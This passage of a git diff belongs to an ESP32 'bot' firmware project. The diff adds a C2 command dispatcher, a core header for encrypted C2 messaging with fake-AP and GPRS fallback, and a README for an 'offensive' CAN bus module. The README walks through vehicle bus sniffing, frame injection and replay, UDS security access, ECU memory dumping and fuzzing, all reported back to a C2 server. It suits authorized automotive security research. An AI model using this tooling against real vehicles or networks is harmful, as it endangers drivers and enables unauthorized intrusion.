* msg.field1 = 42;
|
||||
* stream = pb_ostream_from_buffer(buffer, sizeof(buffer));
|
||||
* pb_encode(&stream, MyMessage_fields, &msg);
|
||||
*/
|
||||
bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
/* Extended version of pb_encode, with several options to control the
|
||||
* encoding process:
|
||||
*
|
||||
* PB_ENCODE_DELIMITED: Prepend the length of message as a varint.
|
||||
* Corresponds to writeDelimitedTo() in Google's
|
||||
* protobuf API.
|
||||
*
|
||||
* PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination.
|
||||
* NOTE: This behaviour is not supported in most other
|
||||
* protobuf implementations, so PB_ENCODE_DELIMITED
|
||||
* is a better option for compatibility.
|
||||
*/
|
||||
#define PB_ENCODE_DELIMITED 0x02U
|
||||
#define PB_ENCODE_NULLTERMINATED 0x04U
|
||||
bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags);
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED)
|
||||
#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED)
|
||||
|
||||
/* Encode the message to get the size of the encoded data, but do not store
|
||||
* the data. */
|
||||
bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
/**************************************
|
||||
* Functions for manipulating streams *
|
||||
**************************************/
|
||||
|
||||
/* Create an output stream for writing into a memory buffer.
|
||||
* The number of bytes written can be found in stream.bytes_written after
|
||||
* encoding the message.
|
||||
*
|
||||
* Alternatively, you can use a custom stream that writes directly to e.g.
|
||||
* a file or a network socket.
|
||||
*/
|
||||
pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize);
|
||||
|
||||
/* Pseudo-stream for measuring the size of a message without actually storing
|
||||
* the encoded data.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* pb_ostream_t stream = PB_OSTREAM_SIZING;
|
||||
* pb_encode(&stream, MyMessage_fields, &msg);
|
||||
* printf("Message size is %d\n", stream.bytes_written);
|
||||
*/
|
||||
#ifndef PB_NO_ERRMSG
|
||||
#define PB_OSTREAM_SIZING {0,0,0,0,0}
|
||||
#else
|
||||
#define PB_OSTREAM_SIZING {0,0,0,0}
|
||||
#endif
|
||||
|
||||
/* Function to write into a pb_ostream_t stream. You can use this if you need
|
||||
* to append or prepend some custom headers to the message.
|
||||
*/
|
||||
bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
|
||||
|
||||
|
||||
/************************************************
|
||||
* Helper functions for writing field callbacks *
|
||||
************************************************/
|
||||
|
||||
/* Encode field header based on type and field number defined in the field
|
||||
* structure. Call this from the callback before writing out field contents. */
|
||||
bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field);
|
||||
|
||||
/* Encode field header by manually specifying wire type. You need to use this
|
||||
* if you want to write out packed arrays from a callback field. */
|
||||
bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number);
|
||||
|
||||
/* Encode an integer in the varint format.
|
||||
* This works for bool, enum, int32, int64, uint32 and uint64 field types. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_encode_varint(pb_ostream_t *stream, uint64_t value);
|
||||
#else
|
||||
bool pb_encode_varint(pb_ostream_t *stream, uint32_t value);
|
||||
#endif
|
||||
|
||||
/* Encode an integer in the zig-zagged svarint format.
|
||||
* This works for sint32 and sint64. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_encode_svarint(pb_ostream_t *stream, int64_t value);
|
||||
#else
|
||||
bool pb_encode_svarint(pb_ostream_t *stream, int32_t value);
|
||||
#endif
|
||||
|
||||
/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */
|
||||
bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size);
|
||||
|
||||
/* Encode a fixed32, sfixed32 or float value.
|
||||
* You need to pass a pointer to a 4-byte wide C variable. */
|
||||
bool pb_encode_fixed32(pb_ostream_t *stream, const void *value);
|
||||
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
/* Encode a fixed64, sfixed64 or double value.
|
||||
* You need to pass a pointer to a 8-byte wide C variable. */
|
||||
bool pb_encode_fixed64(pb_ostream_t *stream, const void *value);
|
||||
#endif
|
||||
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Encode a float value so that it appears like a double in the encoded
|
||||
* message. */
|
||||
bool pb_encode_float_as_double(pb_ostream_t *stream, float value);
|
||||
#endif
|
||||
|
||||
/* Encode a submessage field.
|
||||
* You need to pass the pb_field_t array and pointer to struct, just like
|
||||
* with pb_encode(). This internally encodes the submessage twice, first to
|
||||
* calculate message size and then to actually write it out.
|
||||
*/
|
||||
bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
47
espilon_bot/components/core/process.c
Normal file
47
espilon_bot/components/core/process.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <string.h>
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
static const char *TAG = "PROCESS";
|
||||
|
||||
/* =========================================================
|
||||
* UNIQUE ENTRY POINT — C2 → ESP
|
||||
* ========================================================= */
|
||||
void process_command(const c2_Command *cmd)
|
||||
{
|
||||
if (!cmd) {
|
||||
ESP_LOGE(TAG, "NULL command");
|
||||
return;
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Device ID check — allow broadcast (empty device_id)
|
||||
* ----------------------------------------------------- */
|
||||
if (cmd->device_id[0] != '\0' &&
|
||||
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
|
||||
ESP_LOGW(TAG,
|
||||
"Command not for this device (target=%s, self=%s)",
|
||||
cmd->device_id, CONFIG_DEVICE_ID);
|
||||
return;
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Basic validation
|
||||
* ----------------------------------------------------- */
|
||||
if (cmd->command_name[0] == '\0') {
|
||||
msg_error(TAG, "Empty command name", cmd->request_id);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG,
|
||||
"CMD received: %s (argc=%d)",
|
||||
cmd->command_name,
|
||||
cmd->argv_count);
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Dispatch to command engine
|
||||
* ----------------------------------------------------- */
|
||||
command_process_pb(cmd);
|
||||
}
|
||||
239
espilon_bot/components/core/utils.h
Normal file
239
espilon_bot/components/core/utils.h
Normal file
@ -0,0 +1,239 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
|
||||
/* >>> CRITIQUE <<< */
|
||||
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
|
||||
|
||||
/* ============================================================
|
||||
* GLOBAL DEFINES
|
||||
* ============================================================ */
|
||||
|
||||
#define MAX_ARGS 10
|
||||
#define MAX_RESPONSE_SIZE 1024
|
||||
|
||||
/* ============================================================
|
||||
* LOG HELPERS
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_LOG_COLORS
|
||||
#define ESPILON_LOG_PURPLE "\033[0;35m"
|
||||
#define ESPILON_LOG_RESET "\033[0m"
|
||||
#else
|
||||
#define ESPILON_LOG_PURPLE ""
|
||||
#define ESPILON_LOG_RESET ""
|
||||
#endif
|
||||
|
||||
static inline void espilon_log_purple(
|
||||
const char *tag,
|
||||
const char *fmt,
|
||||
...
|
||||
) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
|
||||
(uint32_t)esp_log_timestamp(), tag);
|
||||
vprintf(fmt, args);
|
||||
printf(ESPILON_LOG_RESET "\n");
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
|
||||
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
|
||||
|
||||
/* Socket TCP global */
|
||||
extern int sock;
|
||||
|
||||
/* ============================================================
|
||||
* COM INIT
|
||||
* ============================================================ */
|
||||
|
||||
bool com_init(void);
|
||||
|
||||
/* ============================================================
|
||||
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
|
||||
* ============================================================ */
|
||||
|
||||
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
|
||||
bool crypto_init(void);
|
||||
|
||||
/*
|
||||
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
*/
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/*
|
||||
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
*/
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap);
|
||||
|
||||
/* Base64 helpers */
|
||||
char *base64_decode(const char *input, size_t *output_len);
|
||||
char *base64_encode(const unsigned char *input, size_t input_len);
|
||||
|
||||
/* C2 decode + decrypt + protobuf + exec */
|
||||
bool c2_decode_and_exec(const char *frame);
|
||||
/* ============================================================
|
||||
* ESP → C2 Messaging API
|
||||
* ============================================================ */
|
||||
|
||||
bool agent_send(
|
||||
c2_AgentMsgType type,
|
||||
const char *source,
|
||||
const char *request_id,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof
|
||||
);
|
||||
|
||||
/* Helpers globaux */
|
||||
bool msg_info(
|
||||
const char *src,
|
||||
const char *msg,
|
||||
const char *req
|
||||
);
|
||||
|
||||
bool msg_error(
|
||||
const char *src,
|
||||
const char *msg,
|
||||
const char *req
|
||||
);
|
||||
|
||||
bool msg_data(
|
||||
const char *src,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof,
|
||||
const char *req
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* DEVICE
|
||||
* ============================================================ */
|
||||
|
||||
bool device_id_matches(
|
||||
const char *local_id,
|
||||
const char *target_id
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* CORE PROCESSING (C2 → ESP)
|
||||
* ============================================================ */
|
||||
|
||||
void process_command(
|
||||
const c2_Command *cmd
|
||||
);
|
||||
|
||||
/*
|
||||
* Compat legacy optionnel
|
||||
*/
|
||||
void process_command_from_buffer(
|
||||
uint8_t *buffer,
|
||||
size_t len
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRY & DISPATCH
|
||||
* ============================================================ */
|
||||
|
||||
#define MAX_COMMANDS 72
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
typedef struct {
|
||||
const char *name;
|
||||
const char *sub;
|
||||
const char *help;
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler;
|
||||
void *ctx;
|
||||
bool async;
|
||||
} command_t;
|
||||
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
void command_async_init(void);
|
||||
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
|
||||
|
||||
/* ============================================================
|
||||
* WIFI
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
void wifi_init(void);
|
||||
void tcp_client_task(void *pvParameters);
|
||||
void wifi_pause_reconnect(void);
|
||||
void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* Fallback: when true, WiFi.c skips its own reconnect logic */
|
||||
#include <stdatomic.h>
|
||||
extern atomic_bool fb_active;
|
||||
|
||||
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
|
||||
#ifdef CONFIG_MODULE_FAKEAP
|
||||
extern atomic_bool fakeap_active;
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* GPRS
|
||||
* ============================================================ */
|
||||
|
||||
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
|
||||
#define BUFF_SIZE 1024
|
||||
#define UART_NUM UART_NUM_1
|
||||
#define TXD_PIN CONFIG_GPRS_TXD_PIN
|
||||
#define RXD_PIN CONFIG_GPRS_RXD_PIN
|
||||
#define PWR_KEY CONFIG_GPRS_PWR_KEY
|
||||
#define PWR_EN CONFIG_GPRS_PWR_EN
|
||||
#define RESET CONFIG_GPRS_RESET_PIN
|
||||
#define LED_GPIO CONFIG_GPRS_LED_GPIO
|
||||
|
||||
void setup_uart(void);
|
||||
void setup_modem(void);
|
||||
|
||||
bool connect_gprs(void);
|
||||
bool connect_tcp(void);
|
||||
bool connect_tcp_to(const char *ip, int port);
|
||||
|
||||
bool gprs_send(const void *buf, size_t len);
|
||||
void gprs_rx_poll(void);
|
||||
void close_tcp_connection(void);
|
||||
|
||||
void send_at_command(const char *cmd);
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
void gprs_client_task(void *pvParameters);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
27
espilon_bot/components/mod_canbus/CMakeLists.txt
Normal file
@ -0,0 +1,27 @@
|
||||
set(CANBUS_SRCS
|
||||
cmd_canbus.c
|
||||
canbus_driver.c
|
||||
canbus_config.c
|
||||
)
|
||||
|
||||
if(CONFIG_CANBUS_ISO_TP)
|
||||
list(APPEND CANBUS_SRCS canbus_isotp.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_UDS)
|
||||
list(APPEND CANBUS_SRCS canbus_uds.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_OBD)
|
||||
list(APPEND CANBUS_SRCS canbus_obd.c)
|
||||
endif()
|
||||
|
||||
if(CONFIG_CANBUS_FUZZ)
|
||||
list(APPEND CANBUS_SRCS canbus_fuzz.c)
|
||||
endif()
|
||||
|
||||
idf_component_register(
|
||||
SRCS ${CANBUS_SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash freertos driver
|
||||
)
|
||||
341
espilon_bot/components/mod_canbus/README.md
Normal file
341
espilon_bot/components/mod_canbus/README.md
Normal file
@ -0,0 +1,341 @@
|
||||
# CAN Bus Module (mod_canbus)
|
||||
|
||||
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
|
||||
|
||||
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Hardware Requirements](#hardware-requirements)
|
||||
- [Wiring](#wiring)
|
||||
- [Configuration](#configuration)
|
||||
- [Architecture](#architecture)
|
||||
- [Commands Reference](#commands-reference)
|
||||
- [Core Commands](#core-commands)
|
||||
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
|
||||
- [OBD-II Commands](#obd-ii-commands)
|
||||
- [Fuzzing Commands](#fuzzing-commands)
|
||||
- [Frame Format](#frame-format)
|
||||
- [C3PO Integration](#c3po-integration)
|
||||
- [Usage Examples](#usage-examples)
|
||||
- [Troubleshooting](#troubleshooting)
|
||||
|
||||
---
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
| Component | Role | Cost |
|
||||
|-----------|------|------|
|
||||
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
|
||||
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
|
||||
|
||||
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
|
||||
|
||||
---
|
||||
|
||||
## Wiring
|
||||
|
||||
Default GPIO mapping (configurable via `idf.py menuconfig`):
|
||||
|
||||
```
|
||||
MCP2515 Module ESP32 (VSPI)
|
||||
────────────── ────────────
|
||||
VCC → 3.3V
|
||||
GND → GND
|
||||
CS → GPIO 5
|
||||
MOSI (SI) → GPIO 23
|
||||
MISO (SO) → GPIO 19
|
||||
SCK → GPIO 18
|
||||
INT → GPIO 4 (active low)
|
||||
```
|
||||
|
||||
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
|
||||
|
||||
### Kconfig Options
|
||||
|
||||
| Option | Default | Description |
|
||||
|--------|---------|-------------|
|
||||
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
|
||||
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
|
||||
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
|
||||
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
|
||||
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
|
||||
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
|
||||
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
|
||||
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
|
||||
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
|
||||
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
|
||||
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
|
||||
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
|
||||
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
|
||||
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
|
||||
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
|
||||
|
||||
### Supported Bitrates
|
||||
|
||||
| Bitrate | Use Case | 8 MHz | 16 MHz |
|
||||
|---------|----------|-------|--------|
|
||||
| 1 Mbps | High-speed CAN | - | Yes |
|
||||
| 500 kbps | Standard automotive | Yes | Yes |
|
||||
| 250 kbps | J1939 (trucks) | Yes | Yes |
|
||||
| 125 kbps | Low-speed CAN | Yes | Yes |
|
||||
| 100 kbps | Diagnostic | Yes | Yes |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ cmd_canbus.c — C2 command handlers (27 cmds)│
|
||||
│ ↕ │
|
||||
│ canbus_uds.c — UDS (ISO 14229) services │
|
||||
│ canbus_obd.c — OBD-II PID decoder │
|
||||
│ canbus_fuzz.c — Fuzzing engine │
|
||||
│ ↕ │
|
||||
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
|
||||
│ ↕ │
|
||||
│ canbus_driver.c — MCP2515 SPI driver + RX task │
|
||||
│ ↕ │
|
||||
│ canbus_config.c — NVS persistence │
|
||||
│ ↕ │
|
||||
│ ESP-IDF SPI Master — Hardware SPI bus │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### File Manifest
|
||||
|
||||
| File | Lines | Layer |
|
||||
|------|-------|-------|
|
||||
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
|
||||
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
|
||||
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
|
||||
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
|
||||
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
|
||||
| `canbus_config.c/.h` | ~360 | NVS persistence |
|
||||
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
|
||||
| **Total** | **~4350** | |
|
||||
|
||||
### NVS Persistence
|
||||
|
||||
Namespace: `"can_cfg"`
|
||||
|
||||
| Key | Type | Content |
|
||||
|-----|------|---------|
|
||||
| `bitrate` | i32 | Saved CAN speed |
|
||||
| `osc_mhz` | u8 | Oscillator frequency |
|
||||
| `sw_filters` | blob | Up to 16 software filter IDs |
|
||||
| `ecus` | blob | Discovered UDS ECU IDs |
|
||||
|
||||
---
|
||||
|
||||
## Commands Reference
|
||||
|
||||
### Core Commands
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
|
||||
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
|
||||
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
|
||||
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
|
||||
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
|
||||
| `can_filter_list` | 0 | No | List active software filters |
|
||||
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
|
||||
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
|
||||
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
|
||||
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
|
||||
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
|
||||
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
|
||||
|
||||
### UDS Diagnostic Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
|
||||
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
|
||||
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
|
||||
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
|
||||
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
|
||||
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
|
||||
|
||||
### OBD-II Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
|
||||
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
|
||||
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
|
||||
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
|
||||
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
|
||||
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
|
||||
|
||||
### Fuzzing Commands
|
||||
|
||||
*Requires `CONFIG_CANBUS_FUZZ=y`*
|
||||
|
||||
| Command | Args | Async | Description |
|
||||
|---------|------|-------|-------------|
|
||||
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
|
||||
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
|
||||
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
|
||||
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
|
||||
|
||||
---
|
||||
|
||||
## Frame Format
|
||||
|
||||
Frames streamed to C2 use the format:
|
||||
|
||||
```
|
||||
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
|
||||
```
|
||||
|
||||
**Example:**
|
||||
```
|
||||
CAN|1708000123456|0x123|8|DEADBEEF01020304
|
||||
```
|
||||
|
||||
### Special Markers
|
||||
|
||||
| Marker | Meaning |
|
||||
|--------|---------|
|
||||
| `SNIFF_END` | End of sniff session |
|
||||
| `DUMP_START\|<count>` | Beginning of frame dump |
|
||||
| `DUMP_END` | End of frame dump |
|
||||
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
|
||||
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
|
||||
| `MEM\|<addr>\|<hex_data>` | Memory block |
|
||||
| `MEM_DUMP_END` | End of memory dump |
|
||||
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
|
||||
|
||||
---
|
||||
|
||||
## C3PO Integration
|
||||
|
||||
### REST API
|
||||
|
||||
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
|
||||
|
||||
| Endpoint | Method | Description |
|
||||
|----------|--------|-------------|
|
||||
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
|
||||
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
|
||||
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
|
||||
|
||||
### TUI Commands
|
||||
|
||||
From the C3PO interactive TUI:
|
||||
|
||||
```
|
||||
can stats [device_id] — Frame count, unique CAN IDs
|
||||
can frames [device_id] [limit] — Display last N frames
|
||||
can clear — Clear frame store
|
||||
```
|
||||
|
||||
### Transport Integration
|
||||
|
||||
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
|
||||
|
||||
---
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Basic Sniffing (Listen-Only)
|
||||
|
||||
```
|
||||
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
|
||||
> can_sniff 30 # Stream frames for 30 seconds
|
||||
> can_stop
|
||||
```
|
||||
|
||||
### Record and Replay
|
||||
|
||||
```
|
||||
> can_start 500000 listen
|
||||
> can_record 60 # Record for 60 seconds
|
||||
> can_stop
|
||||
|
||||
> can_start 500000 normal # Switch to normal mode for TX
|
||||
> can_replay 100 # Replay at real-time speed
|
||||
```
|
||||
|
||||
### OBD-II Vehicle Diagnostics
|
||||
|
||||
```
|
||||
> can_start 500000 # Standard automotive bitrate
|
||||
> can_obd_supported # List what the car supports
|
||||
> can_obd 0C # Engine RPM
|
||||
> can_obd 0D # Vehicle speed (km/h)
|
||||
> can_obd_vin # VIN number
|
||||
> can_obd_dtc # Read trouble codes
|
||||
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
|
||||
```
|
||||
|
||||
### UDS ECU Exploration
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_scan_ecu # Find ECUs on bus
|
||||
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
|
||||
> can_uds_read 0x7E0 F190 # Read VIN via DID
|
||||
> can_uds_read 0x7E0 F191 # Hardware version
|
||||
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
|
||||
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
|
||||
```
|
||||
|
||||
### Fuzzing (Isolated Bus Only!)
|
||||
|
||||
```
|
||||
> can_start 500000
|
||||
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
|
||||
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
|
||||
> can_fuzz_stop
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### MCP2515 not detected
|
||||
|
||||
- Verify wiring (CS, MOSI, MISO, SCK)
|
||||
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
|
||||
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
|
||||
|
||||
### No frames received
|
||||
|
||||
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
|
||||
- Try `listen` mode first: `can_start 500000 listen`
|
||||
- Check CAN_H / CAN_L connections and termination (120 ohm)
|
||||
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
|
||||
|
||||
### Bus-off state
|
||||
|
||||
- TEC exceeded 255 — the MCP2515 disconnected from the bus
|
||||
- `can_stop` then `can_start` to reset
|
||||
- Check for wiring issues or speed mismatch
|
||||
|
||||
### RX overflow
|
||||
|
||||
- Bus traffic exceeds processing speed
|
||||
- Reduce bus load or add hardware filters: `can_filter_add <id>`
|
||||
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
|
||||
|
||||
### SPI communication errors
|
||||
|
||||
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
|
||||
- Check for long wires or loose connections
|
||||
- Ensure no other device shares the SPI bus
